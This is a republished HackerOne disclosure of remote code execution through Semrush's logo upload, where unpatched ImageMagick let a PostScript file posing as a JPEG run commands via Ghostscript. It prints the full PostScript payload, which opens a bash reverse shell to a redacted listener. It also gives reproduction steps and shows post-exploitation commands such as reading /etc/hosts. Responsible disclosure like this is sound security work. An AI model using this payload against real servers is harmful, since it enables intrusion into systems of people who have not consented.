Skip to content
RCE Disclosed report Intermediate

Remote Code Execution on www.semrush.com/my_reports on Logo upload

The logo upload feature passed uploaded files to an unpatched ImageMagick, which allowed a PostScript file disguised as a JPEG to invoke Ghostscript and run arbitrary commands on the server. The attacker could obtain a reverse shell and execute commands as the web server user.

Frans Rosén Follow

Originally disclosed on HackerOne

Critical View original
  • Paid in under an hour
  • Disclosed after 10 months

The Logo upload in the report constructor at: https://www.semrush.com/my_reports/constructor

Screen_Shot_2018-08-31_at_14.46.54.png
Screen_Shot_2018-08-31_at_14.46.54.png From the original on HackerOne

is passed through a not properly patched version of ImageMagick. You can use Postscript to get Ghostscript to run which in return allows to trigger arbitrary commands on the server, leading to Remote Code Execution. Tavis Ormandy has also mentioned recently that the policy.xml needs to disable EPS,PS,PDF and XPS since all these have ways to trigger Ghostscript: http://openwall.com/lists/oss-security/2018/08/21/2

The following PoC-payload was used to get a reverse shell when issuing the upload:

Save it as test.jpg and upload it as an image for the logo:

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%bash -c 'bash -i >& /dev/tcp/███/8080 0>&1') currentdevice putdeviceprops

(█████ is the IP of my listener)

This resulted in:

█████████
██████████
ls
███████
██████████
app
████████
██████████
████
████████
██████
███
█████████
████████
██████
█████████
█████████
█████
██████████
█████
██████
█████████
███
█████
██████
████
█████
█████████
███████
████████
███
███


███
whoami
████
███████
██████

At this point I wasn't sure if this was a third party or not, so I checked two things:

██████ to list files in the ██████ dir. It showed me:

█████████
███
████████
████████
███████
█████
████
█████████
████
██████████

I navigated to

https://www.semrush.com/my_reports/████
https://www.semrush.com/my_reports/████████

And confirmed those two files exists in this directory.

/etc/hosts

This one confirmed it by:

cat /etc/hosts
127.0.0.1 localhost
█████ ████.semrush.net ███
████████ ███████

I'm certain this is a SEMrush-instance.

You should urgently make sure your policy.xml for imagemagick ONLY allows gif,jpg,png and nothing else.

Regards, Frans

Impact

The original report as published on HackerOne, by fransrosen. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the ImageMagick policy.xml did not disable dangerous formats such as PostScript, EPS, PDF and XPS, so a crafted file could reach Ghostscript and execute commands.

Impact

An attacker could run arbitrary commands on the server, leading to full remote code execution.

What the attacker needed

Access to the report constructor; ability to upload a logo image; attacker-controlled listener

The fix

The ImageMagick policy.xml should be restricted to allow only gif, jpg and png, and nothing else.

How it was found

  1. Create a PostScript file and save it with a .jpg extension.
  2. Upload it as the logo image in the report constructor.
  3. The server processes the file with ImageMagick, which invokes Ghostscript and runs the embedded command.
  4. A reverse shell connects back to the attacker's listener.
  5. Run commands such as listing files and reading /etc/hosts to confirm the host.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

ImageMagick is a tool that converts and resizes images. It can also read many other file formats, including PostScript, which can tell another program (Ghostscript) to run commands. Because the upload accepted a file that was not really an image, the attacker could make the server run their own commands.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by Frans Rosén

View all

26 more disclosed reports, best first.

More from Semrush

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.